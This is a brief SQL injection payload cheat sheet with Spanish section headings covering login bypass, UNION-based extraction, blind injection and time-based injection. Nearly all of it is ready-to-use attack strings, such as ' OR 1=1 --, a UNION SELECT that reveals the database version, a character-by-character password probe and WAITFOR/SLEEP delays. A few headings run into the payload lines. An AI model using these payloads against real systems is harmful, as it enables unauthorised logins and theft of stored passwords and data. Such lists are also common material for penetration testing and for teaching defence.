Bypass de login
admin' --
' OR 1=1 --
" OR 1=1 --UNION SELECT
' UNION SELECT 1,2,3 --
' UNION SELECT @@version,2,3 --SQLi ciego
' AND 1=1 --
' AND (SELECT SUBSTRING(password,1,1) FROM users) = 'a' --Basado en tiempo
'; WAITFOR DELAY '0:0:5' --
' OR SLEEP(5) --